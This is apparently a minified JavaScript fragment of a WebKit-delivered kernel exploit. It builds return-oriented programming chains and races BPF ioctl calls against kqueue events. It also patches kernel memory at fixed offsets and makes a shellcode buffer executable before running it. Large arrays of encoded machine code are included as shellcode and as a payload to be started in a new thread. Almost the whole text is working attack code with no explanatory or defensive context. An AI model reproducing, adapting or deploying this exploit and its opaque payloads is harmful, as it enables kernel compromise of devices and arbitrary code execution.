kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var payload=[2488809,2303218432,3967895802,512,3375729992,1207959604,3224496009,1187911167,2303197184,8503270,369033216,17440,12878152,1526726658,1431585219,1221734739,830522499,4236855798,3337153841,2197815338,2215641080,128,2370356105,1275602036,1055451017,1157627947,4281452849,3117975873,2,954,1073790464,1592262656,1207959595,1962932355,1955285064,2202554404,813564926,357513345,678763837,407942927,3804349183,71994629,1221157704,343723577,824240771,3529722093,537951361,1179403647,3314814784,4194494,3347662848,2825448,3906963712,10825,2162983752,1566304393,1103322177,1096171863,1431585109,3968026707,3871426584,612141344,3590932492,1305315656,2303313289,12534260,1207963648,1484057989,608471876,4253108236,1048576,1224444236,1306347023,4281459081,134218425,113152,2303197184,715647198,2202533888,2303328248,1277981894,2303258505,3330885850,4292673865,4473621,3733538816,3908536652,10893,1239230792,2750143489,440,822274816,3296938176,1096637208,1096630620,3277799774,549618504,3359227953,4030279037,2337022324,3531951378,2337020276,2337015887,961407042,1275884225,1293963011,961400833,4278941377,3263383744,835709752,28885952,3271557120,1447122753,1413567809,4253632597,1409180488,1224444232,1210646379,1226370179,369087625,17356,1240281413,2303323017,4130424256,2111650113,2072726903,4286926112,3649660276,1156221256,2303520393,1149848799,1843922980,1291845631,136594571,158646405,20676929,1970274303,3328395582,810781513,683699016,1237778241,4279717005,1222309704,21809697,1351174336,2022263824,1401637144,680084488,139495752,2168574513,4294902075,3264548719,1092636809,2202650111,2230008003,607422789,415531848,3230223451,1096565085,1096696157,1463927647,1430345281,1398101057,418153288,1224051009,29283209,3120562182,511,1288603969,136594569,2648296,4294476544,14713871,2337013760,2299012164,1220905415,1159250819,255983409,1278759095,1799931529,2202548434,786972866,1157627944,2366633785,157,4168846152,1120015871,2336751616,4130469971,1220839753,369084297,17320,555907,1665674100,3526486131,1292602184,2302992521,4257868015,3230007295,2336771700,3526488179,2666065801,1207959592,3958920075,864766001,698,4018750464,3906926408,10373,1276349256,2302994057,665577711,2336751616,3526488179,1793650569,1207959592,2303464331,3908012518,10141,1105693004,369084415,17360,683901768,4294925033,3296938239,1542424856,1096565085,1096696157,663480671,2202533888,1566251204,1564564545,1598119489,1096106435,1213420884,824765571,4119414994,1525216817,2197815335,2215641080,168,835268933,3230220799,697,244224,12451840,2298478656,671082691,2202533888,2303328248,259683524,1209548983,472142989,472138951,0,1208344769,1150111128,255926276,1714974903,1044432705,1097203712,3948743,3342951936,14912,1081642313,675333961,0,608471372,4253739016,2337079295,2299012164,608996318,3314108700,1220708680,870903689,1291845630,369094537,17136,4194494,3884534784,2590952,3906963712,9909,683967304,1547787611,1438866753,2336772179,4202269,4253632512,1597869384,4278190128,4364053,276663040,1480706353,1220708680,1566300297,1127583048,4278190128,1347638752,3978136392,1207959615,2370370953,3162941,1695940352,2332033090,3375435901,2303219777,3632875714,2370329947,3155765,1440808704,2336772179,4176669,4253632512,943557960,4278190128,4338453,276663040,1480706353,1220708680,1566300297,473271624,4278190128,1347638752,2300414792,1207959615,2370370953,3152957,18218752,2332033090,3375435901,2303219777,3632875714,2370329947,3145781,1440808704,2336772179,4151069,4253632512,54365512,4278190128,4312853,276663040,1480706353,1220708680,1566300297,3879046472,4278190127,1431585248,898451539,12270,1626112328,2332033026,1821198359,2303205412,1220555259,369094537,16728,29018417,3187671040,2,4293888328,4117269,474203648,2315202832,2370311235,3328189548,4278328643,4121365,2315202816,369041475,16072,1209301899,1713140621,3122545545,16,1055004159,2072707072,8437268,369033216,16116,203703495,16,1209301899,203707533,611618120,2165702416,1711276094,304379019,1096418699,2303197184,3054452978,3230220790,3501592388,265074191,3905027766,3904979224,2302760720,2302957249,3054454226,898451648,12094,837781832,2635464640,1275068480,1044784523,2303197184,3306553327,2332033088,2303201403,1221145070,4282499721,407095252,2,1891926344,1526726658,3277603165,1398101057,1224444232,1214311555,39370635,2236088320,1211331839,119817357,609520968,2370326540,2370306378,1275995204,1342392973,37915980,2370355249,3091253,2568355584,1509949503,1493629059,2370316404,3075389,764102656,15812,1078334975,2072707072,1221144848,2370355849,3068213,13035776,3054436352,1275470956,270820493,612152847,898451463,12030,1286999876,3224440612,1152782148,3054439972,3238863948,3054438629,17572948,3884535037,1069422079,2303459328,1418545382,46073892,1275068416,539255949,1027479039,327876608,389385544,1275068462,3224496009,1066538495,3375431680,442,179712,2303459328,219545575,3321888829,252714051,1133116855,608471828,490980872,541296898,1024071167,1137115136,280,1032669184,11898,507742566,4180511560,4278190140,4160277,276531968,2303248689,898451650,11866,2202588671,1566269636,1405312065,2348517704,369038463,15588,35158915,2072709493,3574988604,3338666044,6211,3277520896,15171942,1717743856,1610678145,2170960244,2954887423,1714451555,2147549057,661925296,16744806,1952755776,4286670366,1890586624,2170951028,2965373183,1712092275,2684419969,1823482034,3284288783,1398101057,1620020552,1207959554,16837761,2303197184,1552763133,2370306340,3006485,16760320,2303197184,4290785759,4008725,629885952,15412,4292839752,4109077,276663040,836667720,3263776969,1221918529,16827521,1566244864,1438866497,3968026707,4220078104,1488948040,1207959554,1584725893,2370355249,1208493132,119821453,2738195784,4278190125,4039445,2126546176,609520193,764102663,15316,1426426696,2147483710,91505146,1967782528,1032669210,11644,2072760575,1221144848,2370355849,2976565,1211034368,762133901,3506372608,2336756971,3905325,1032669184,11611,1041372671,2072707072,1221144848,2370355849,2967093,1221984000,1528349827,1413595997,2303218517,3968026875,2542618688,1136,1094028616,1207959597,827621261,219545536,2332033085,290963,898451456,11570,837257544,2232811456,1275068477,992880011,2303197184,2903900135,2332033085,2303201403,1221145062,4282499721,3296938196,1096637248,1398129500,1358661960,138251592,1207959597,989474187,369033216,15740,823163787,3263776969,3962932552,4278190124,764102869,15068,3980234056,4278190124,4019989,276531968,2303248689,898451650,11480,2336806399,3847981,1032669184,11478,1026692607,2072707072,1103704336,3263776856,3901311067,898451549,11450,1213456639,2370370441,4011837,1360396032,1207959611,73962379,2236088320,1208906962,73433995,2303197184,286850,2206943232,1120,1958774088,2424915975,1128,85801800,1962934333,92882951,15612,1023282687,2370306048,3991357,637491968,15072,1430345281,1398101057,1224444232,1209068675,743062925,2336751616,3805997,3850979584,1016206847,2072707072,1221144848,2370355849,2894645,1221984000,827616141,33602294,2303197184,3977641967,2332033083,3375435899,131258,4001974272,972166655,3229941760,256918409,49038,3934866432,2050329928,1207959595,3224498057,997332479,549322752,1207959552,369094537,15412,1975551304,2210875405,600,0,4282911467,2206812352,600,256191,630017024,15452,954603007,3979411456,1105627469,270826627,1227650048,1277441163,369094537,15252,460701829,1223517000,1226370411,137249931,1958774088,3750316053,1156174079,4294967295,3296938437,553485080,2336801141,3746605,1032669184,11118,1000740351,2072707072,1221144848,2370355849,2840885,3923115776,4294967055,1090585661,1208513664,1743314825,2348810238,369037435,14600,1604483,2072713332,4178968340,2197815352,1963071611,1014729481,954865151,2303197184,1897267167,822083643,1494614015,1207959609,823182467,1096637376,1096630620,1463927646,1430345281,1398101057,2565636424,822083584,113353,46006272,1207959552,721501581,2370306048,4281345132,3695381,608487168,280,1284327424,3091273764,4,1210,4294950400,3347644416,992085385,2370568192,4280034404,3695381,608486912,4281405472,556025030,1821199362,369049636,14404,87930639,1275068475,2298770829,4280558660,3677973,3846015744,1207959610,539260045,608471398,1096226,369033216,14388,986332555,2159935488,4278190080,3687189,608487168,4124,2973600512,1275068474,2303255177,1091960814,2231369784,3347661248,18515983,280559616,1275068416,2303519369,180214,369033216,14232,293055,3306553088,1207959608,707999117,2303197184,1694862275,1140850746,3339746185,6211,2370306048,155835,4278421760,3695381,2072856576,1096256,2303197184,1897267182,1207959608,975322509,369033216,14396,486902600,1207959610,527810693,287148360,1207959610,73958343,0,3343384576,286851,0,1210116864,73433993,2303197184,3795741,2559133696,1128,1753466696,4,3338665984,290947,0,1032669184,14784,969541119,369033216,14260,608472396,3105196880,1275068473,2370357129,2717237,1149848576,3224438820,959583743,2337013760,1208493124,1208515469,2370361737,4294745877,4294324735,3641109,2164653824,3909091385,4294966977,2563014984,822083584,1096637376,1096630620,3277799774,2202555221,2139298028,2303197464,764102907,13972,352684872,1207959609,2303260553,1963467892,2345729799,99292283,2072760575,1955285052,2202535972,2303203524,2303220674,3375455720,1213456639,2202598281,2139295980,2139816216,1209103636,3122426765,16,913446399,451608576,203703495,16,609520968,1938638860,2299920172,2298478646,2202549315,3277525188,1413567809,2303218517,2203206139,291003,2303197440,33536759,4128833536,66643585,3330342912,522,1861864,264275200,62088,3174927104,1090519096,369083529,14060,1220576584,678806921,1799195976,1207959592,902180235,369033216,14408,823163787,3263776969,1328909640,3909091368,214,3906963784,4294967106,1547537736,1275068456,899034507,369033216,14360,823163787,3263776969,1077251400,1090519080,2072237567,361431320,14412,2365950792,1962934325,343640837,2072708075,1221144892,3506433673,259309701,2303246985,3884532974,1815784,1154214656,3270043529,1207959579,369094537,14304,74482631,0,2336751616,3483437,1032669184,10247,933369343,2072707072,1221144848,2370355849,2617909,1104543488,3750316121,1547787611,552164673,1224736760,670252429,2336751616,3468077,1830158080,2332033079,3375435899,1220708680,668415373,1480654848,1541966152,1096565085,1105264477,1104294229,1213420884,1380055945,838306120,455600374,3229941760,16943119,3012231168,1136,3347698225,3905194305,7105,929709451,369033216,13724,1220576584,678806921,457018696,1207959591,880160139,369033216,14072,823163787,3263776969,4281699656,3909091366,215,3906963784,4294966770,205360456,1275068455,877014411,369033216,14024,823163787,3263776969,4030041416,1090519078,361485823,14080,1156483400,2062083977,2231369754,2200007872,2298550395,93015234,13324,2072708469,2332289812,3375447163,1106151752,3404452095,3907488068,6769,4293888328,3575573,1887684352,4,1207959552,869674379,2370306048,2537021,1360396032,2332033078,3375435899,1220708680,648099213,3590258688,2303220033,1096637407,3915202908,4294964943,2721942856,1207959590,865742219,369033216,13852,823163787,3263776969,2251656520,1090519078,3901311064,1547787611,3774831937,4220078163,905319935,4282908672,1209103816,1213980553,635647373,637468672,13360,12222,3750316032,880416255,961019904,3336336579,3277520896,2303218517,2370326779,155839,4290177024,2336817151,3352365,1032669184,9783,899814911,2072707072,1103704336,3263776856,3901311067,898451549,9755,1413603583,2303218517,3967895803,528,1488948040,1207959554,678821765,54365512,1207959588,853159307,369033216,13660,823163787,3263776969,3879046472,3909091363,343,611093832,1220555026,2370366089,2480693,1763049216,2231369780,1220378304,623064461,2303197184,3440771055,2231369780,1208972736,39893901,2303197184,15788526,2370306048,2469429,4018751488,883561983,3229941760,2370310517,155835,4276807680,3521773567,2147483648,789718140,614763852,273,2303200885,3884535022,857347583,1424687104,1619758408,1207959554,615986573,2303197184,1284065487,369035300,13404,1290307913,856296843,3229941760,608996168,1209103624,624956813,4290641920,1275068416,300672905,873827656,3187671077,255,837257548,3523166656,1781894472,1275068452,369092489,13332,1014284421,4130460209,3907488076,6209,628736133,37588296,1207959589,834284939,369033216,13372,823163787,3263776969,3862269256,3942645796,3905390906,6173,1622904136,1275068418,369092233,12900,3745353032,1207959588,830352779,369033216,13312,823163787,3263776969,3275066696,4278190116,3296807125,528,1547787611,1431585219,4220078163,283935048,1207959553,39370635,2236088320,1210545663,825896331,2370306048,2250045,3038117632,2332033075,3375435899,1220708680,574633357,3590258688,2370592747,823206980,4119414976,1288997193,136594569,1220708684,606680461,369033216,12984,3011428485,287603840,1149979695,292882468,1289914700,2303248009,2031484911,3942645810,2341292060,608,68521288,1275068452,2303256201,4290785775,3255061,3296806912,272,1547787611,1213420995,17362049,2277965824,1136,4294967295,611093832,4220078081,3136194888,255,4294913256,4001974527,3906963784,4294965852,147095880,1526726657,1398129501,149717320,1207959553,2370370441,3120637036,255,3907946824,4294967033,1223592264,703127433,1224736762,17351809,1566244864,1213420995,17362049,2303197184,1821198587,4290380068,1207959552,3337154185,1224736766,56605581,2303197184,385083630,3229941760,2370315641,2330173,764102656,12288,847386111,2072707072,1221144848,2370355849,2322997,1221984000,803351947,2370306048,2326845,1561722624,2332033074,3375435899,1220708680,594294157,3590258688,147095880,1526726657,1398129501,149717320,3120562177,255,610045256,4253632513,3906898248,4294966849,3906963784,4294961965,745848965,1222609224,591672717,2263351296,1224736750,2370367369,2307381,4205438976,2370371583,2304317,368306176,199950336,1222543688,2431184777,1224736762,17351809,1566244864,1213420995,17362049,4290379776,1207959552,19164301,1224444232,3605589641,1224736765,3068718985,1207959573,790769035,3229941760,2701495112,2013265969,1032669210,8926,2072760575,1221144848,2370355849,2280757,1209592576,584596877,3506372608,823163787,3263776969,3342175560,4278190114,3296807125,264,1103322459,3126023508,255,3236725064,1207959553,2370370953,12657820,2303197184,4250659038,2370371583,1212687476,2934497161,2231369749,1210546624,782114187,2370306048,2267709,420871936,2332033073,3375435901,1220708680,579155341,3556704256,2370321899,1208493148,2418316427,1207959552,579548557,2303197184,4290785759,3190549,3750316032,1428523852,4278190126,3200789,276663040,2303248689,3733539010,1221918529,29410433,1566244864,1438866497,3967895635,264,65466,1821198336,2303197476,4001974523,4294753512,4018751743,131006,351791104,2336751616,3015469,1220576512,813827467,444071936,490573128,4278190114,276532176,2303248689,898451650,8716,2370312427,2235453,2345729792,3375435899,1220708680,571159949,3590258688,147095880,1526726657,1398129501,149717320,3120562177,255,611093832,4220078081,3907946824,4294966337,3908012360,5261,628670597,4097674568,1207959585,763506059,369033216,12292,823163787,3263776969,3627388232,3942645793,4290785613,2917141,764102656,11612,1212299395,802817419,443875328,3443363144,4278190113,276532176,2303248689,898451650,8636,2370312427,2216253,2345729792,3375435899,1220708680,566244749,3590258688,147095880,1526726657,1463927645,1430345281,1398101057,1223459144,1207959557,2303262089,1209541748,3357842573,1207959552,405044363,3906898248,5097,561561733,539264139,822083585,2089502930,4130412580,740574345,1260776,2311095552,2032673860,1032669224,8185,2971503432,4278190124,3093269,276663040,2303248689,898451650,8157,355561,608471808,3347662892,608471368,2501246736,1207959597,270816395,2303260209,76105927,2031484708,1275068462,745153931,2370306048,2173757,3843424000,2332033070,3375435901,1220708680,555103629,4282449920,4018751700,610569548,4124895352,2303524863,1561722855,1207959598,2753868941,1275068416,369092489,11876,612666696,322,610044232,1149847624,2370314276,8397956,2303197184,1214260292,1914979469,608471368,609520392,881543212,612141860,319285288,3229941760,75075087,2554855424,604242760,606374732,608471368,1681607760,2215596068,1097,612139073,2215575560,1071,608472393,1284196360,2336757796,1226843260,2303246473,1211114564,517543309,4290641920,822083584,2165702592,1207959596,1210348683,612141896,310896672,3229941760,65897743,2223702016,53284,2450944,4024048,1211069856,539262091,615812424,577,65466,300673024,3229941760,2554858622,1090815174,2,2227570923,147748,2336751616,1162355780,2336812337,1214260340,4281890957,2974485,614238976,208,1725860161,15106369,2168547056,1973420286,616333332,577,2223851520,147748,1158630400,2223720680,69668,613190400,148,3089402937,1140850688,2418326667,1207959552,941900937,2351203467,1275068416,733351307,1149829120,662005796,612666180,132,2853539144,2332033055,8922252,113115136,1207959552,136608907,4282499121,1209854929,136608907,124567937,2370306048,2066965,441856,3224436736,1221721921,728106379,1097203712,2684419713,608471368,1091269952,32128,25068815,2302935040,834040,4153999360,93145337,8364,1208075254,2370359907,2303234052,1951933508,3677439252,4269883750,255934464,2370290581,3950222172,2168546837,3091202302,45,5487425,256114688,3632912453,1711464579,2298607747,3373876696,1090838659,1102504323,1719124355,419559555,3152184274,4134716035,343148739,1725051205,16679233,2500804928,1418545090,367752082,4269883750,767049728,1090519040,21434,1158628352,2212006352,2204504288,3632857592,2214533445,2202083552,2202121959,2204530631,423952888,3850584557,3313713595,1086584434,4130411124,4269883750,255868928,1955448469,334197686,4269883750,767049728,3187671040,83,2314224911,4223078360,8398182,1814320265,33063782,424007817,2451190,3867361537,3330490806,4169361015,3222881537,3152053057,1925219137,4293690344,3163375871,213028,611647232,3367898928,270824703,2015642763,611647312,611647344,1095975256,613714769,164,837912901,1380012736,1430345537,2626373718,40996,361580544,7672,131262,1221852928,3915433091,304,3120073028,12,4223078297,2370370039,2042629,3529721856,2416217416,608471368,2212006232,2204500448,3632857592,3766733081,3051455234,1719189891,419559555,2212006354,3766728418,2009236228,33063782,2315196741,3884138968,148931515,1925677889,33063782,2314606917,3867361752,283149237,2026275649,33063782,2312837445,3817030104,551584694,2009301825,33063782,2312247621,3800252888,1088455611,1925350209,33063782,3632920089,1723197059,2197848101,2204530886,423952888,1104710089,1723261315,1090584613,1719124355,1157757059,1418313753,2202102820,2202123232,1441297088,1224736747,1076149389,1375731715,1962890561,1962885156,2492145700,34852,3233681152,615841618,128,1747219711,613714769,172,3224486281,1096237394,1095975254,2336773714,11543708,2370306048,1898005,33603072,3556704256,1891926856,614239560,832,1223657800,4125679241,3137339376,512,2303260209,2501246943,1090519081,608483087,3288418564,4294683881,1418414335,4130410532,607947592,695604735,1860763648,2348810235,3894944892,3553,607947592,704517631,2303197184,3933595887,2370371583,1882941,495667200,10048,700585471,2106261504,1221144848,2370355849,1875765,1221852928,88654977,1566244864,1564564545,1598119489,1213420995,25750657,2303197184,3213576443,600,1962902856,2894940210,33060,1220555008,2370366089,1709621,2769682176,2231369768,1209302720,136606861,3908012360,3545,2247002440,1208449472,39891853,2303197184,4188858591,2169044991,100548,3277675264,2169000789,100588,16759296,2370306048,8463532,2303197184,4001974523,4294260968,1955416319,2303199268,227272943,3229941760,2370315641,1736253,764102656,9844,687216127,2072707072,1221144848,2370355849,1729077,1211362048,2370367113,221115,622198528,1207959591,466828685,2336751616,2506541,3239444224,2332033064,3375435899,1220708680,464991629,3590258688,2294579528,1526726657,1032045405,10483,3565424384,2332033024,2674493,827605248,4283651574,2516757,3174927104,4278190120,2493205,1032538112,10420,369096241,9892,2369621320,4278190120,2533141,495667200,10376,1960543560,276532049,446,2878031872,1120,140741452,639243775,2072182784,578027544,3189013387,3,637933055,2072182784,242549272,3191634827,3,636622335,4130406400,1223133516,369093513,9788,2370349803,2630461,487980800,1207959590,672546187,369033216,9680,96946267,10252,0,151373661,40,3338665984,2628357,0,3277603072,353733960,822083624,3515435200,1079939,2554862965,415263560,1221067080,2303211657,1086785648,272,112640,4290969600,3263383744,553157400,3224490613,495670211,10196,2232408965,570,2370367625,2603797,4270409728,665978311,0,46071872,1711276032,664667529,369033216,9392,1981123912,822083610,1032669430,10088,626660863,3224436736,2568326472,3338666023,516,2202533888,1028135104,768,2370365045,4293158453,1032669439,6741,4294920168,898451711,4294960261,1195216200,3892314138,4294967092,2754973000,1224736740,439958925,568852480,1224736767,3837998477,2370371583,1715005,4279166976,2370371583,4293190197,1032669439,6685,4294900712,898451711,4294960385,255692104,3892314138,4294967016,20286792,1224736742,436288909,3588751360,1224736766,4243797389,2370371583,1700669,4274186240,2370371583,4293364533,1032669439,6629,4294881256,898451711,4294963426,3594358088,3892314137,4294966940,3224735048,1224736743,432487821,2313682944,1224736766,4034803085,2370371583,1685821,4269205504,2370371583,4294177077,1032669439,6571,4294861800,898451711,4294964006,2638056776,3892314137,4294966864,909479240,1224736756,428817805,1038614528,1224736766,4122490253,2370371583,1671485,4264224768,2370371583,4294257205,1032669439,6514,4294842344,898451711,4294966424,1664978248,3892314137,4294966788,4197813576,1224736754,425016717,4058513408,1224736765,4098700685,2370371583,1656637,4259244032,2370371583,4293370165,1032669439,6457,4294822888,898451711,4294961138,725454152,3892314137,4294966712,1043696968,1224736754,421346701,2783444992,1291845629,420873613,3375431680,521506120,838860778,1032669430,9616,596252159,96927744,9620,1,3414361067,1540917759,1213420995,1209592963,581049739,2303197184,1955154173,2303199268,420872183,2332033061,3375435901,611617608,3296937992,3263776792,1540917576,1222704989,3104327563,3221225602,1081117512,1212189516,2303209999,2525710545,280,551665992,1221069128,114733,71747328,0,542407,1207959552,3355429251,5190,46596096,0,2693827400,1208027526,1211127433,443584651,2303263276,2303270992,2336757840,77975,331302912,0,1211629824,1214270089,1213758089,258493065,2303246880,3783346385,4294901759,2160140815,3439756936,2160530433,5214280,0,111773824,2147680717,3439766152,2290090241,30213832,1551943425,20385,3321888768,18329728,2160504832,71601,2994783745,3271557399,398491846,3333423105,18334080,2160460032,71618,1065404099,822088688,4030759110,3334471699,334512512,2160496640,1306690,1132512912,2415924208,834806287,2370356160,1568565,2867351552,3355443198,2088709,0,2344835584,264275206,45448,46170880,1447122753,1413567809,3898820693,3968026707,4220078104,82166088,1228901192,2303315337,4102638039,69485705,4293822792,2275093,3229960192,1963166024,80167178,4294967076,1281223679,1289778573,21823369,1149847792,369035300,8904,608996168,4287187976,1275169096,369046275,9052,1237385032,1208501897,2303460235,837822572,3984936384,2303462516,1024851951,1207959587,2336801023,1217939475,4163519625,69485707,604277057,415531848,1547787611,1581342017,1103322945,1431585109,3968026707,4236855576,611093832,1552762884,2303264804,3750316277,1223592264,386993549,2370306048,1511957,1153910784,2084,1153892352,1060,15204352,1291845631,2303256969,3750316270,4078275912,3892314134,4294967019,1222740300,2303258249,361580767,5861,4294891240,4001974527,1222609224,383257997,2370306048,1496341,4273858560,2303262719,3750316270,3373108552,1207959574,382277005,2766667776,1224736766,2303258249,227363039,4141,3105197384,3892314134,4294966923,1223592264,2370363273,1053709,361580544,5798,4294865640,4001974527,1222609224,379456909,2370306048,1481493,4267304960,2303262719,3750316270,2232257864,1207959574,377820557,1088946176,2348810238,3120833652,65536,612141896,103540744,2202533888,1566251204,1564564545,2370327491,1466165,4220078080,1581092168,3892314134,4294966983,1282982021,1597345096,1207959574,375537037,2967994368,2248146942,1211463872,375600525,2370306048,1467453,4271499264,3230007295,2370313848,1467701,1032669184,5737,4294869736,898451711,5742,125419653,2016775496,1207959574,3915112329,4294966345,1398101057,1224509769,16837761,369033216,7836,91865221,3959408771,3867756589,3775,2635464448,2231369758,2026080704,1096423,2303197184,3884535014,531502591,369033216,7920,2169034889,65732,1096637184,1398129500,1491895112,3355150664,1908485,256,14477312,2347237376,3892314121,1569,538600,3666429952,4164259144,3221225467,11,1609089073,3892314126,1109,3879570760,3892314133,4294957497,3907488072,4294967124,242860165,3846016328,3892314133,4294957473,968783851,1207959557,787015561,1224736761,4240455053,2370371583,1432637,4175357952,2370371583,1209017452,4271846797,2370371583,1428797,4173785088,2303262719,87669231,2303197184,898451682,5563,369082417,8248,3908012360,4294957381,476659075,1946157056,327728909,369033216,7484,3224496875,4294419944,1032669439,5542,4292418792,3296938239,1539322200,2202583901,2370308332,1854261,1032669184,5515,2969945928,28,3892314112,972,712294533,691375432,1207959580,360201613,3051880448,2231369731,1209234624,470955405,2370306048,1406013,60745728,1032519680,7168,18189640,1207959580,359544205,1843920896,2332033027,1828669,361580544,7200,1731562824,3892314133,852,466501003,2370306048,1851157,898451456,5471,211944,3040709376,1207959579,470160781,2370306048,1396277,52619264,1032519680,7068,756387144,1207959580,356791693,166199296,2332033027,1803069,361580544,7228,1144360264,3892314133,752,459947403,2370306048,1813269,898451456,5449,186344,1362987776,1207959579,467277197,2370306048,1394997,46065664,1032519680,6968,420842824,1207959580,356398477,2783444992,2332033026,1777469,361580544,7040,859147592,3892314133,652,453393803,2370306048,1804053,898451456,5416,160744,3980233472,1207959578,461772173,2370306048,1383989,39512064,1032519680,6868,3977612616,1207959578,353645965,1105723392,2332033026,1751869,361580544,7036,171281736,3892314133,552,446840203,2370306048,1739541,898451456,5377,135144,2302511872,1207959578,456267149,2370306048,1375797,32958464,1032519680,6768,2434108744,1207959578,352138637,3722969088,2332033025,1726269,361580544,6832,4214590792,3892314132,452,440286603,2370306048,1783573,898451456,5353,109544,624790272,1207959578,443422093,2370306048,1367349,26404864,1032519680,6668,353733960,1207959578,348927373,2045247488,2332033025,1700669,361580544,6852,3124071752,3892314132,352,433733003,2370306048,1735445,898451456,5294,83944,3242035968,1207959577,446305677,2370306048,1354805,19851264,1032519680,6568,3507850568,1207959577,346633613,367525888,2332033025,1675069,361580544,6744,2788527432,3892314132,252,427179403,2370306048,1730325,898451456,5283,58344,1564314368,1207959577,428742029,2370306048,1351733,13297664,1032519680,6468,890604872,1207959577,344864141,2984771584,2332033024,1649469,361580544,6460,2083884360,3892314132,152,420625803,2370306048,1702677,898451456,5226,32744,4181560064,1207959576,426907021,2370306048,1333301,6744064,1032519680,6368,2434108744,1207959577,340145549,1307049984,2332033024,1623869,361580544,6448,898451544,5173,13289,3968026624,835858696,1032669430,5162,1170813253,3375480881,422450687,2370306048,1677077,898451456,5172,3914909577,0,1338033992,3909091330,2505,1354811208,3909091330,2493,149717832,837912904,4270409938,3217043781,594,2682830897,1509949449,3234285763,3,627945,3234285568,4,624873,3234285568,5,621801,3234285568,6,618729,3234285568,10,615657,3234285568,58,612585,3234285568,21,609513,3234285568,378,606441,3234285568,22,603369,3234285568,123,600297,3234285568,124,597225,3234285568,128,594153,3234285568,136,591081,3234285568,137,588009,3234285568,188,584937,3234285568,189,581865,3234285568,272,578793,3234285568,478,575721,3234285568,493,572649,3234285568,477,569577,3234285568,73,566505,3234285568,74,563433,3234285568,65,560361,3234285568,203,557289,3234285568,204,554217,3234285568,547,551145,3234285568,572,548073,826626816,3224454601,3526478129,2370369073,1230909,2232811264,1207959575,404624781,2370306048,1229621,2311293184,4267108551,3750363135,1024822600,1207959576,313996685,1105723392,2315255806,361580767,6208,3023408456,3892314130,4294966828,